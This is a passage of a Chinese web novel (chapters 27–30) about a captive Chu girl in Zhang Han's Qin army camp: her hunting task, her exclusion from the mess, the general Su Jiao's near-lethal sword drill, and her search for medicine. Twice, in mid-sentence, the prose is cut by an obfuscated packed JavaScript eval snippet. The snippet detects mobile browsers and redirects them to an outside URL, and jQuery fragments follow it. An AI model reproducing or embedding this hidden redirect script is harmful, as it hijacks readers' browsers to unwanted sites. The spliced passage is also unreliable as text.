我将那些猎获的飞雀小心装入箭笼,翻身上马,心情畅快地策马归去。 27. 排挤 当我返回练兵场时,天色已泛鱼肚白,营中兵马陆续起动,响起低低的号角声。我翻身下马,提着长弓与满载猎物的箭笼,像个凯旋而归的将士般,带着几分得意踏入练兵场,引得路过的士兵纷纷驻足,投来惊愕而狐疑的目光。 我并未理会他们的目光,随意拦下一位秦兵问道:“这位大哥,可曾见上将军?” 那秦兵愣了愣,随即上下打量我一番,猛地摇了摇头,神情里还带着几分错愕。 我心中微怔,章邯该不会设了个刁难人的任务之后,便把此事抛在脑后了罢?若真如此,未免也太卑鄙了些…… “仪风。”身后熟悉的叫喊忽将胸口那隐隐升起的火气压了下去。我转身,正见吴梗朝我行来。 他神色略有惊讶,许是因我扛回一笼猎物的模样太过醒目,但他并未多言,只是拱了拱手,语气温和:“上将军命我来寻你。” 我也拱手回礼:“他人在何处?” “在军帐中。”他说这话时目光略显躲闪,没敢与我对视。或许是因昨日一见的缘故,他显得有些腼腆。我本也与他不甚熟稔,便不再多言,跟着他往军帐方向走去。 来到帐前,吴梗停住脚步,微一侧身示意我入内。 我试探着问:“你不与我一同进去?” 他立刻摇头:“将军未传召,不得擅入。” 我点点头,心下却泛起不安。章邯昨夜明言只给我一炷香的时限,如今早已过去大半个夜晚,虽说我猎得十数飞雀,但严格论起来,这任务仍算是超时。以章邯那张笑里藏刀的嘴脸,心思深沉狠辣得很,谁知道他又要拿什么来折磨我? 想到此处,不禁打了个寒噤。 但,气势上绝不能输他! 我深吸一口气,将箭笼挎好,理了理微散的发丝,提弓抬步,昂首阔步地走入了军帐。 我掀开帐帘,并未第一时间抬头张望,而是迈着稳健有力的步伐行入帐中,站定后低头拱手道:“拜见上将军。” 帐中一时寂静,良久未有回应。我略觉诧异,悄然抬眼一觑,才发现帐中并非章邯一人。 主位上,章邯一如既往地端坐如山,神色沉稳莫测。他的左右各立一人,皆是身形高大,气势凌人。 左边那位,是我早已见过的王离。正如印象中一般,他眉眼冷峻,神情淡漠,仿佛帐中除了章邯之外,余人皆是空气,连我拱手行礼也未换来他一丝目光。 而站在右侧的男子,则显得神态松弛。他不似帐中二人那般冷若冰霜,可眉梢眼角处处藏着狡黠,细看也并非可亲之辈。 我连忙再度拱手:“拜见王将军,拜见……” 目光落在那狡黠男子身上,语声略显迟疑。 他似是看出了我的窘迫,示意道:“我叫苏角。” 我当即低头还礼:“拜见苏将军。” 苏角轻轻颔首,又道:“姑娘昨夜前往苍崖林,不知是否如愿,将飞雀带了回来?” 我愣了愣,旋即瞪大了眼,几分不可置信脱口而出:“是你?” 苏角眉梢轻挑:“正是本将军。” 我当即朝他磕了个头,语气诚恳道:“多谢苏将军昨夜仗义相助。苍崖林中果真飞雀成群,末将也已依上将军所言,猎得十只有余。” 苏角忽而神色微凝,饶有意味道:“还从未见过有谁经少荣之手折磨还能全身而退,何况还是个姑娘。那夜里的苍崖林阴森至极,你不仅不惧,竟还真能如数猎回飞雀。”他语调骤凉,“看来,你倒真是个有本事的。” 我低下头,未作回应,总觉得他话中有话似的,遂将目光投向了上座的章邯。 自我入帐以来,章邯始终沉默不语,眉目间透着一股森冷。待我抬眼望去,正与他对视个正着——那眼神中夹杂着几分难以捉摸的冷意,隐隐还掺着一丝淡淡的愠色。 忽而,章邯开口:“你们先退下,我还有话要与她说。” 王离闻言,立即抱拳一礼,转身离开。苏角则意味深长地看了我与章邯一眼,才慢悠悠地走了出去。 帐中只剩我一人,空气仿佛因他的沉默而凝结成霜。我暗暗吸了口气,强自镇定,大着胆子走上前去,抬眸迎上章邯那带着压迫感的目光,语声平稳而坚定道:“我自知未能在你所限的时辰内完成任务,终究算是违令。但我毕竟将飞雀如数甚至超额射回,已非空手而归。十六只飞雀,虽不知能否抵过时限之错,至少我尽了全力,也达成了自己原以为不可能完成的事。” 说罢,我将背上的箭笼卸下,沉稳地放在他面前。 “你无论是要责罚,还是要斥责,我都甘愿受着。但我仍要谢谢你的。” 章邯眼中似是闪过一丝错愕,但很快便恢复了冷淡的神色,淡声道:“谢我什么?” 我背手上前一步,略带几分揶揄地道:“谢将军的刻意刁难,让我逼出了潜藏的本事,也算是突破了从前那个自己。” 他语气微沉:“你觉得我是在刻意刁难你?” “难道将军不是吗?”我微微扬眉,语气中难掩疲惫却依旧平稳,“从昨日到现在,我整整一昼夜未曾合眼,只为完成将军交予的任务。若不是昨夜苏将军提醒我苍崖林乃鸟群栖居之地,恐怕我还傻傻地在原处干耗时间。” 章邯眉头轻挑,语气仍旧淡漠:“所以,你觉得苏角是好意相助,而我便是存心刁难?” “我可没这么说。”我立刻回道,神情淡定。 他冷着脸起身,随意翻看了地上那一笼猎物,又缓步走至我面前,眼神在我身上略作停留,语气不冷不热地问道:“昨夜,可有再受伤?” 他是在关心我吗?我心头微微一怔,随即摇了摇头,轻声回道:“没有。只是一下射了太多箭,手臂有些酸痛罢了。” 他紧绷的嘴角终于微微上扬,“虽然你没能在一炷香之内完成任务,但表现已算不错。” 说罢,他转过身去,背对着我,语气带着几分训斥的意味:“赶紧下去换身干净衣裳吧,一个姑娘家把自己弄得这般破破烂烂,成何体统。” 我这才垂眸打量自己。身上的军装早已破损不堪,裂了好几道口子,整只左肩几乎裸露,上面除了战场留下的旧剑伤,还有那日受鞭刑新添的几道痕迹,红肿未愈。除此之外,从头到脚更是布满了七八处大小不一的擦伤与划痕——多是昨夜摔伤所致,虽看着狼狈惊人,实则不过些皮肉之苦。 我不禁嘟囔一句:“要不是山路太黑,又担心误时被你责罚,我也不至于落到这般模样。” 章邯倏地转过身来,眉头紧蹙,似是又气又急:“还不是你身子太笨。就你这副模样,我实在难以想象你如何能救出悺阳。” 我咧嘴一笑,“是是是,还是我没用了些,只得再去加把劲儿练习了。” 说着,我朝他随意地做了个抱拳的动作,“那我这便告退了。” “等等。”章邯走上前来,朝我丢了个小药瓶,依旧没看我一眼,只是故作严肃地道:“赶紧拿去擦擦,或是去找莫大夫看看,别弄得好像我真欺负了你这个弱女子似的。” 我接过药瓶,放在鼻尖轻嗅了下,竟觉有些熟悉,唇角便微微扬起,“那便谢过将军了。” “只给你一个时辰,梳洗、换药、用饭,之后到练兵场来见我。” “遵命。”我朝他再行一礼,便退出了军帐。 那一刻,紧绷许久的心终于松了下来,连带着压抑的疲惫也铺天盖地袭来,身上每一寸都像被重锤砸过一般酸痛不堪,而最难熬的,却是如潮水般涌来的困意。阳光刺得我眼睛几乎睁不开,步伐也渐渐凌乱,几乎是跌跌撞撞地回到了自己的营帐。 铜镜前,是一张沾满尘土、发黑发灰的脸,发髻早已松散,搭配这身破破烂烂的军装,倒真像个落难的小乞丐。 我在镜前坐下,小心地将上衣揭开,对着一身淤青和血痕,将章邯给的药粉一点点洒上。竟不觉疼,或许是相比那些刀伤,这些皮肉擦伤根本算不得什么。 上完药后,我换了身干净衣裳,又重新束好头发,走到河边洗了洗脸,便急匆匆赶往餐棚。 军营的餐棚不过是几座简陋帐篷,行军途中条件艰苦,粮食也只按人头配给。每日三餐多是粥糜和面饼,聊胜于无,只为充饥罢了。 往日里,我都是跟着悺阳与章邯一道偶尔来此蹭上一顿,今日却是头一次独自前来。秦人多高大魁梧,唯我瘦瘦小小一个,站在队伍尾端,只觉格格不入,心中不知为何泛起一丝胆怯。 轮到我时,那执勺的伙头兵见我,先是眉头一皱,语气不善:“你的军牌号呢?” 我怔怔望着他,有些茫然。自入秦军以来,除却章邯那点微末交情,我几乎一无所有。他并未将我真正编入秦军,自然也谈不上什么军牌号。他们不将我斩杀,已是天大的宽容。 我低声道:“我没有。” 那伙头兵听罢,登时提高了嗓门,挥着铁勺不耐道:“没军牌号你来领什么饭?这些都是给真正的秦军将士准备的,可不是什么人都能来白吃的。快走快走!”说着,他扬起铁勺,作势要将我驱赶出去。 与此同时,身后排队的秦军也躁动起来,有人推了我一把,我一个踉跄,差点跌倒在地。 只听一人冷声道:“别以为仗着几分姿色和那什么公主的交情,就能让上将军对你另眼相看。楚贼终究是楚贼,我秦国的军粮岂能分你一口?” 又有一人幸灾乐祸地高声起哄:“想吃饭?去战俘营那边试试,说不定还有残羹剩饭赏你呢。” 话音一落,四周顿时哄然大笑,一时间,那些嘲讽与讥笑如利刃般四面袭来,将我密密包围。 我站在这些杀人如狼的秦军壮汉之间,仿佛一个任人指摘的罪人,任由那些耻笑与诋毁铺天盖地地砸向我。羞辱与委屈如潮水般涌上心头,而更深一层的,却是无法反抗的无力感。 我的身体在这般冷嘲热讽中微微发抖,却依旧一动不动。因为我知道,若换作是他们的立场,我也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17520311|203055||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 许也会这般愤恨与不满。 在他们眼里,我不过是那场造反乱局的缩影,是搅乱了他们本该安稳生活的罪人。若没有我们这些楚地叛军,他们也许不会被迫背井离乡、远赴征战,更不会日日与死神为邻,活得像在刀尖上行走。 我强忍住涌上眼眶的湿意,深吸一口气,低头向他们拱手行了一礼,转身快步离去。 我明白,此刻他们之所以没动手,只是看在章邯的面子上罢了。若非他保我,我这般身份、这般境地,怕是早就被乱刀分尸,埋骨荒野。 我并未将此事告知章邯。毕竟,他将我私自扣留在秦军营中,已是违背军规的事,本就引得军中将士多有不满。若再被有心之人借机挑唆,传到秦宫去,恐怕会给他招来不小的麻烦。 更何况,以当下的局势来看,咸阳早已不是那个威震四海的帝都了。秦宫之内,奸佞当道、权斗不休,形同一团乱麻。咸阳百姓想必也是夜夜难眠,惶惶不安,只怕不知哪一日,各路军马便踏破函谷,杀入城中,那座繁华许久的城池,就此化为废墟。 想到这,我便独自骑马去附近觅食。记得营外两公里处,有一片长满马齿苋的地,拿来煮野菜汤充饥,也许还能撑上一阵子。撕下一块衣服做成简易的篼,采满一兜马齿苋,心里想着,待今日训练结束,再去他们说的战俘营看看,或许能领到属于我的那份饭食。 章邯给的休整时限很快就到了。我忙完马齿苋的采摘,还没来得及吃东西,就得骑马赶往练兵场。昨夜连轴练兵,肚子空空如也,又得继续高强度训练,实在是饥饿难耐,体力不支。如今不敢再轻易触怒章邯,免得重蹈覆辙。 远远便听得练兵场内刀剑相击的铿锵声,夹杂着一阵阵怒吼呼喝。 我急匆匆冲进军营,奈何秦人个个魁梧高大,根本没人注意到我。众人手持长剑,两两成组,近身搏杀,动作干脆利落,仿佛根本不把对方当作自己人一般。 我只得见缝插针,闪躲穿梭于刀光剑影之间,却怎么也找不到章邯的身影。 忽然,一头撞上了一个坚硬的铠甲,脑袋被撞得生疼。我捂着头抬眼望去,光影下映出那熟悉的笑意,以及一双温和却不失锋芒的眉眼。 我不禁连忙后退两步,低头行礼道:“参见苏将军。抱歉,刚才没注意到将军在此,才不小心撞上了。” 苏角双臂交叉,笑意慵懒地挑了挑眉,调侃道:“哟,这不是少荣新收的那个女弟子么?” 说罢,他忽然凑近我耳边,声音低沉且带着几分戏谑,“悄悄告诉你,少荣还从来没收过女弟子。” 这话带着几分意味,吹得我耳根发麻,吓得踉跄后退了两步,“我……我不清楚苏将军所言为何。敢问将军,可曾见过上将军?” 苏角微微挑眉,眯起眼睛,像是在打量我,试图看清些什么,“少荣正在帐中与王离议事,今日练兵场由我管事。要说怜香惜玉,我可比少荣要强多了。” 他的语气虽轻佻,却让人心生警惕。虽说表面嬉笑调侃,我本能地觉得他并非真如表面那般随意,反倒有股说不出的危险气息在其中。 我有些不知所措,低声说道:“多谢苏将军好意,我还是等上将军来吧。” 苏角却又向我逼近一步,声音压得更低,“怎么?你不信我吗?”他眼中闪过一丝寒光,令人不寒而栗,“还是说,你此行的目的,根本只是少荣?” 那一瞬,我几乎被他的目光刺穿,但转瞬间,他又恢复了那慵懒温和的神色。 我皱起眉头,有些紧张地问:“我不清楚你口中的少荣是谁。” 苏角笑得意味深长,“哦?少荣就是你的上将军,那是他的小字,你竟然不知道?” “既是小字,我怎会知道。”我答得坦然。 “这么说吧,我和少荣自幼相识。如今看到他竟然对一个楚女如此宽容,心中甚是疑惑,也就对你产生了兴趣。” 我深吸一口气,问:“那你究竟想知道些什么?” 苏角微微愣了一下,随即冷笑,“这话不该是我问你吗?你到底想从少荣那里打探什么?竟敢孤身闯入这虎穴。你难道不怕哪天命丧黄泉?” 他的眼中再次闪过一丝熟悉的冷光。可我也并非任人摆布之人,毫不退缩,冷声迎上:“所以,你是想杀了我?” 他的眼底冷光骤然炽烈,那嘴角惯常的笑意渐渐消退,变得阴冷刺骨:“你既已落入我秦军,何须我亲自动手?若你真心怀不轨,无论是针对少荣,还是针对秦国,这营中每一个秦军将士,都有权取你性命。” 说罢,他嘴角勾起一抹冰冷骇人的笑意,“不过,现在你已披我秦军戎装,就得听我的。今日由我练兵,你还得取剑,和他们一样进行对练搏杀。” 我扫视了一眼身后那些魁梧健硕的秦军士兵,剑光寒冽如雷,毫无情面。我咽了咽口水,犹豫问道:“你是想让我找其中一个人,和我对剑搏杀?” 他摇头,声音压得更低:“不,是和我。” 28. 杀意 苏角,秦朝末年的重要武将之一。此人忠勇果敢,原为秦将蒙恬麾下部将。自陈胜、吴广大泽乡揭竿而起后,苏角便随章邯四处征战,镇压各地起义。直至巨鹿之战,被项羽所率诸侯联军围困,因突围失败,秦军全军覆没,王离被俘,苏角战死。 关于他的记载,史书中不过寥寥几行,只在描述章邯、项羽等人事迹时顺带一提。因而,我对他的了解,几近于无。 “我怎么瞧着,你这握剑的手,好像在发抖?” 苏角持剑而立,嘴角微扬,眼角眉梢尽是戏谑。 他那轻佻的语气中夹着一丝居高临下的傲慢,只是简单一句,却叫人不由得生出一股寒意。仿佛他并非在寻常调侃,而是随时可能拔剑试锋的猎人。那种危险感,如影随形,令人无法预判下一步会发生什么。 我站在离他不过两步之距,额间竟渗出几滴冷汗。若不是他提醒,我甚至未察觉,自己握剑的手已在微微发抖。 从昨夜至今,我几乎没有一刻喘息。此刻全身上下,每一寸都像被撕扯般疼痛,体力早已透支。再看对面的苏角,身形挺拔,眉眼冷峻,浑身上下透着一股杀伐决断的凌厉气势。虽说是试炼,但他看起来,似乎远不止于此。 不过转念一想,看在章邯的面子上,他总不会真对我下狠手吧?也许如他所说,他真的“怜香惜玉”呢? 我清了清嗓子,尽力稳住颤抖的手,扬起一抹淡笑:“苏将军也知,我昨夜射了一夜的鸟,至今还未曾合眼。或许是乏了些,这才手不听使唤。还望将军体恤一二,手下留情才是。” 苏角手指轻抚过剑刃,唇边笑意懒散,却不知为何让人心里发冷。 “放心,”他说,“我可比少荣更懂得怜香惜玉。” 话锋一转,他又道:“不过,你也别想着在我面前藏拙才好。” 语毕,他神色一厉,抬手便是一剑。一抹银光如电惊掠,直直朝我眉心刺来。 慌乱之间,我侧身一闪,那剑几乎贴着我左颊掠过,快得几乎能听见风声。若是慢上片刻,只怕此刻我已倒在血泊之中。 我刚欲握紧手中长剑还击,却见苏角的剑已在他指尖旋出一个利落的剑花,转瞬又反身劈来,直取我脖颈。那一招又快又狠,我虽仓皇仰面躲过,仍觉颈侧一阵刺痛。伸手一触,竟染上几滴殷红。 他不是点到为止——而是真动了杀招。 我不可置信地望向他,声音带着几分颤意:“苏将军……这是为何?” 苏角却只是嘴角微扬,笑意冷得渗人:“既是对练搏杀,怎能毫发无损?你若不想死,便也拿出点真本事来。还是说……你根本不敢出手?” “将军未免太高看我了些。”我勉力站稳,语气里带着一丝愠怒,“你这两招,我连还手的机会都没有,怎么倒成了我不愿出手?” 只见苏角骤然握紧长剑,眼中寒光一闪,语气森冷:“既是如此,那便不必废话。” 话音未落,他已挥剑杀来。 他的剑不若韩信那般飘逸灵动,却每一招每一式都直取要害,干脆利落,招招透着狠辣,带着一往无前的杀意,似乎每一剑都欲一击封喉。 在他攻势之下,我不过像一个任他泄愤的玩物。 他一次次疾刺而来,而我一次次闪避,只能乱挥乱挡,踉跄退后。可随着我不断防守,苏角却仿佛愈发兴奋,眼中露出猎人的光。 他不是在训练我——他是在逼我,甚至,是在杀我! 我被他压得节节败退,毫无还手之力。可我不能停,因为我知道,只要慢一步,我就会死在他的剑下。 渐渐地,我的体力耗尽,反应也开始迟钝。而苏角的剑却愈加迅疾,带着风声,贴着我身边划过,无法再避的伤口也接连浮现——肩膀、手臂、后背、腿,甚至脚踝……鲜血一线线溢出,浸透衣衫。 那一刻,我忽然生出一种幻觉:也许,我真的要死在他剑下了。 可我又怎会甘心? 苏角见我已是遍体鳞伤,眼中竟闪过一丝疑惑,随即厉声喝道:“你都这般模样了,还不肯还手?真当我不敢杀了你?” 我强忍着身上撕裂般的痛楚,咬牙怒吼:“要杀便杀!我自始至终未做过一件损害秦军之事。将军若执意不信,这条命你尽可取去,何必如此戏弄折磨!” 那一刻,不知是愤怒还是疼痛灼烧了我的意志,我眼前那闪烁的剑光竟也逐渐变得清晰起来。苏角的招式虽快狠,却简洁直接,剑路清晰,只要冷静下来,并非全然无迹可循。 我咬紧牙关,握剑转攻,在风声猎猎中开始一招招反击。他的剑斩来,我便迎刃而上,挡得虽险,却步步向前。他眉眼微动,嘴角浮出一抹冷笑,那眼底竟露出几分……得意? “你终于藏不住了。”他说。 “我不懂你在说什么!”我怒吼出声。 苏角眼中杀意尽显。就在我举剑刺向他的一刹那,他身形猛地一侧,瞬息绕至我身后,反身便是一剑劈下。我仓皇中左手握住剑刃,转身跪地,欲以剑身迎挡他这凌厉的一击。 可他的力道极大,我的剑竟被生生劈断。 断剑碎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17522727|203055||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 裂的那一瞬,我只觉头皮发紧,眼见他的长剑呼啸而下,直逼我的头颅。恐惧如潮水般涌来,我下意识闭上双眼,侧头躲闪…… 却不曾想,耳畔响起另一道清脆的金属交击声。 并无想象中的疼痛袭来。 我缓缓睁开眼,正见一个英挺的身影挡在我面前。他高大挺拔,手中长剑横举,恰好拦下了苏角的致命一击。一缕晨光斜洒而下,映照在他剑刃之上,也映出了他分明的轮廓——是章邯。 我几乎瘫软在地。他却像一道沉稳如山的屏障,隔绝了所有杀意与锋芒。 看不清他此刻的神情,却听得他语声低沉而带怒意地喝问:“苏角,你是打算背着我,要了她的命吗?” 苏角慢慢收回被章邯挡下的剑,眸色冰冷,嘴角却始终挂着一丝凉薄的笑意。 “怎么?”他盯着章邯,语气轻佻,“你这是……舍不得?” 章邯未答。 苏角又缓缓开口:“少荣,你莫不是忘了,她是楚人。我这一番,不过是替你试她一试。” 章邯眉心微蹙,语气低沉:“试她?” 苏角笑道:“是啊。若不是你拦下那一剑,我也许已替你探出她几分真本事了。” “胡闹!”章邯陡然一声怒喝,声震耳畔,“若不是我出手,她此刻已命丧你剑下!” 苏角闻言,神色浮现出几分难以置信,沉声问道:“你的意思是……她当真一点本事也没有?” 章邯怒意未消,回得干脆:“不然呢?你以为我会看不出来?” 苏角定定看了他片刻,又道:“那你为何还要留着她?你不是一向只心系公主吗?怎的如今却处处为她出头?” 章邯闻言,长长吐出一口气,语气终于收敛些许,“那是我与她之间的事。总之,与你想的,并非一回事。”说罢,他目光沉下,指着苏角,语气不善道:“以后休得再私下擅动我身边之人。” 苏角仍带着笑,面上恭顺,眼神却冷冷越过章邯,看向我,语带警告:“既然兄弟你亲口所言,我便信你这一回。只不过,他日若此女真有一丝一毫背叛秦国之举,我绝不轻饶。” 章邯冷声道:“你若真有这等忠勇,倒不如去查查我交代给你的正事。魏豹与魏咎的余部,可曾追踪到下落?” 苏角“啧”了一声,撇嘴收剑,拱手笑道:“是,末将这就去查。” 说罢,他转身欲走,却在临走那一瞬回头,眼角扫来,恰与我目光撞个正着。他眸中仍带着那抹意味不明的阴冷笑意,嘴角微扬。旋即,扬袖而去。 29. 求药 我近乎脱力地瘫倒在地,浑身衣襟早已被血水浸透,大片猩红染得人心惊。待苏角的身影渐行渐远,章邯这才回身而来,居高临下望着我,语气冷硬:“不是说来寻我?你为何擅自与人动手?” 他这话一出口,我心头顿时翻涌起难以抑制的委屈与愤懑。我强撑着从地上坐起,咬牙盯着他,怒道:“‘擅自与人动手’?章邯,你以为我愿意平白无故受这一身伤吗?我分明是好好来寻你,反倒是你……你又去了何处?” 章邯一怔,更是强硬道:“你这是什么语气?若非本将军及时赶到,替你挡下那一剑,你恐怕早已丧命!可你非但不知感激,反倒还质问起我来了?” “我不需要你替我挡那一剑。”我拉扯着衣襟,露出几道血淋淋的伤口,倔强地抬头看着他,“你来与不来,都一样!不是死在今日,便是明日、他日,我迟早会死在你们秦人手中。我只盼这一个月快些过去,救出悺阳后,你将铜铃还我,我们之间,就能一笔勾销了!” 章邯的脸色瞬间沉了下来,仿佛被什么话击中。他的目光如冰,死死盯住我,双拳紧握,声音压得极低,却掩不住怒意:“你就这般想走?就像她一样,急着逃离?” 我没有回应,也不去看他那近乎失控的神情。只是用那只伤痕累累的手臂撑起身子,忍着剧痛,一寸寸从地上爬起。 我知道,再僵持下去,以我此刻的伤势,迟早会昏倒在这练兵场。我不愿在众人面前暴露狼狈,便咬紧牙关,不发一言,转身欲离去。 却不料章邯在身后猛地拽住了我的手臂,恰好掐在伤口之上,剧痛从皮肉瞬间蔓延至骨髓。他分明看到鲜血顺着他的指缝渗出,却毫无松手之意。 我疼得唇角发颤,强忍怒意,低声道:“放开我。” 章邯却攥得更紧,血顺着手臂滴滴落地,他的神情沉冷,眼中透着逼人的寒意:“你还没回答我。你是不是……也像她一样,厌我、恨我,只想着逃?” 这句话让我一瞬有些错愕——明明是他将我拘来,又何谈“逃离”?但眼下我已感到一阵阵眩晕袭来,若再争执,只怕会直接倒在他面前。我咬紧牙关,压下翻涌的情绪,尽量使语气平静:“将军,你是不是弄错了?我本就不是自愿来的,留与不留,从来不在我手里。逃跑?我哪敢啊?我每日所思所盼的,不过是如何活下去罢了。” 他怔了一瞬,脸上的怒意似乎有所动摇。片刻后,他终于松了手。 我踉跄后退两步,手臂的鲜血仍止不住地涌出。我强迫自己收起眼底的痛意,缓缓举起伤痕累累的手臂,向他拱手一礼。然后转身,头也不回地走出了练兵场。 回到军帐,我一件一件地脱下已被血水浸透的衣裳,忍着痛,用清水一点点洗净身上的伤口。 手臂与后背的两道伤最为深重,其余虽浅,却也密密麻麻,加起来竟有十来道。那一盆清水,很快就被染得殷红。 我咬着牙,将仅存的止血散一点点洒在伤口上。这些药,一部分是莫大夫给的,另一部分则是章邯之前给的。不过两小瓶而已,随着伤势频仍,很快便告罄。 我缓缓穿回衣服,动作因痛楚而格外迟缓……看来,我只能亲自去找莫大夫取药了。 军医所不大,四下皆是药架与布帛药炉,弥漫着草药与焦艾混合的气息。莫大夫正聚精会神地伏案翻阅书简,他已是两鬓斑白的年岁,眼中却仍有光。能随军至此,早已不是寻常郎中所能及,若说忠勇二字,他也当得起。 听得脚步声响,他缓缓抬起头,微微眯着眼,像是要看清来人。 我即刻上前抱拳,恭敬行礼:“仪风,见过莫大夫。” 莫大夫缓缓从桌案前起身,身形已有些佝偻,行止间却仍带着一股医者独有的沉静与清雅。他微一颔首,回礼道:“姑娘不必多礼。此番前来,可是身上又有什么不适?” 我轻轻点头道:“是这样,上回您给的止血散已用尽了,特来讨些。” 莫大夫一怔,随即神情凝重了几分,迟疑问道:“姑娘是又负伤了?可否让老夫看看?” 我抬手撩起衣袖,露出手臂上两道较深的剑伤,“今日两两对剑,不慎被划,伤得较深的就是这几道,已用您之前所赠的止血散稍作处理。但像这样的伤,我身上还有十几处,只得以衣布紧紧缠住。” 莫大夫蹙眉不语,踱着步子在屋中踟蹰不前,似是心中颇有顾虑。 我察觉他的异样,便试探道:“莫大夫,是药出了什么问题吗?” 他停下脚步,望向我,神情复杂,语气也多了几分为难:“并非老夫吝啬,只是……药,的确没了。” 我一愣,错愕道:“怎么会没有?您是军中医者,这止血散应是常备之物才是。” 莫大夫苦笑一声,挠了挠花白的胡须,道:“话虽如此,可是方才,上将军亲自前来,把所余的止血散尽数取走了。” 我皱眉,“他是受伤了?” 莫大夫摆手摇头,“不见得。他看起来并无大碍,也未提及伤势。只是言语坚决,要我将所有止血药都交予他。” 我惊愕难平,“这不是胡来吗?那他可还说了些什么?” 莫大夫凝思片刻,缓缓道:“他说……若今日有人来讨药,就让我将人打发去见他。” 我几乎要翻个白眼过去……章邯这算盘打得可真够精明,是想让我亲自上门求他? 绝无可能! 我嘴角一勾,笑意冷淡,对莫大夫拱手一礼:“既如此,那便作罢。还请莫大夫告知我,除了您调制的止血散外,可还有哪些寻常草药可用于止血疗伤?我可自行前往采撷。” 莫大夫眼神一亮,语气也透出几分赞许:“姑 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忽见一团羽影自草间疾窜而出,竟是一只受惊的野鸡,扑棱棱往远处逃去。紧随其后的,是我肚中不合时宜的“咕噜噜”一声。 我愣了片刻,才想起,自己竟已整整一日一夜未曾进食。 饥饿之下也顾不得许多,转身翻身上马,挥鞭追击那只野鸡。奈何身上带伤,手臂一动便牵扯剧痛,难以施展剑法,只得尽力加快马速,压缩与猎物之间的距离。 眼见那只野鸡正往林中逃窜,我咬紧牙关,忍痛拉弓搭箭,在它跃入树影那一瞬,果断将箭射出。 “嗖”地一声破风,野鸡扑通坠地,可我也在那一刻从马背上狠狠摔了下来。 好在落地的是那只已受轻伤的肩膀,虽未骨折,却也疼得我在地上蜷了好一阵,额角冷汗直冒。 我咬牙按住肩头,从地上踉跄爬起,朝林中那只野鸡的方向走去。 此地乃苍崖林的边缘,林间密叶交错,光影斑驳。越往里走,便越觉昏暗。那只野鸡正伏在不远处的林荫中,约莫两三步之遥,羽毛尚存余温,气息却早已断绝。 我方才踏出一步,鼻端却忽然捕捉到一股异样的味道。 那是一种潮湿而发腻的血腥气,仿佛有什么东西正在腐烂……那味道我再熟悉不过——战场边缘曾有过,一种混合着死与血的气息。 我心头陡然一紧——这是尸体腐败后的味道! 林中死寂,唯有树叶被风拂动,发出“沙沙”细响。我立在原地,不敢妄动,屏息四望。可眼前除了交错的树影与晃动的枝叶,并无半点异状。只是,那股浓烈的腥臭仿佛就在前方某棵树后,藏在我看不见的黑暗里。 我不敢再停留,几步冲过去抱起野鸡,转身便逃,翻身上马,飞也似地奔回营中。 30. 医者仁心 我策马飞奔而回,一路惊魂未定。难不成那苍崖林中,竟还藏着尸体? 可转念一想,前不久秦魏曾在此地交战,若战后清理不全,遗落几具尸身于林间,也是常有之事。念及此,我便不再细究。 不多时,我便抱着新采的白茅和那只猎来的野鸡,急匆匆回到了军医所。 莫大夫见我返还,连忙迎了上前。他瞥见我手中那六七根白茅,眼中立刻浮出一抹欣慰的笑意;再见我怀里还抱着一只野鸡,脸上便又显出几分惊诧,“姑娘这是……顺便把晚饭也带回来了?” 我抬手抹去额上的汗珠,笑道:“今日一整日水米未进,在采摘白茅的路上恰巧遇见,便顺手猎了回来,想着正好做顿热饭充饥。也想与莫大夫一同分食,以答谢今日之助。” 莫大夫闻言,神情一肃,忙躬身道:“姑娘好意,在下心领。但救死扶伤乃医者本分,姑娘切勿放在心上。” 我听莫大夫谦辞,便笑着回:“莫大夫说的这是什么话。从第一日您为我疗伤时起,我便知道,您是个实在人,是个宅心仁厚的大夫。在这秦营中,您明知道我出自楚军,又是女子,却从未如旁人一般戒备与疏远,反而待我与其他伤兵无异,皆一视同仁。这样的胸襟,早已不是寻常随军医者可比。” 我略顿了顿,又道:“实不相瞒,我一直想着找机会向您好好致谢。今日得了这只野鸡,便想时机正好,还请莫大夫莫要推辞。” 莫大夫听罢,只是轻轻一笑,旋即又叹了口气,“姑娘如此抬举老夫,真是折煞了。” 他接过我手中那几根白茅,细细端详着,语气温缓道:“老夫虽为秦军效力,但既为医者,便不应论敌我。不论他是秦是楚,是魏是韩,既伤在我面前,便是病人,我就该救。” 他说着,忽而眼中微微波动,低声道:“说来不瞒姑娘,初次见你,便觉得分外亲切。你让我想起了我的小孙女,婉婉。若她还活着,怕也与你年岁相仿,模样性子,也多半像你这般。” 他一边说着,一边转身取了捣药的石钵与杵。 我抱着野鸡,在一旁找了个木凳坐下,略带迟疑地问:“敢问……您的孙女,她因何而故?” 莫大夫的声音自案几后悠悠传来,仿佛被尘封在记忆深处:“婉婉自幼聪慧,常跟在我身边学医。那年我随军出征,她竟悄悄扮作军中小卒,混入队伍之中。等我察觉时,她已随军多日,送也送不回去了。我只得据实上报。幸而那时上将军心宽,未予追责,只默许她留下,与我同行。可好景不长。那时楚王陈胜派周章西征,数十万楚军兵临函谷关,打得秦军措手不及。上将军尚未来得及启奏陛下请求释放骊山囚徒,秦军便因兵力悬殊而连连败退,前线伤亡惨重,后方医师不得不赶赴战场救治。” 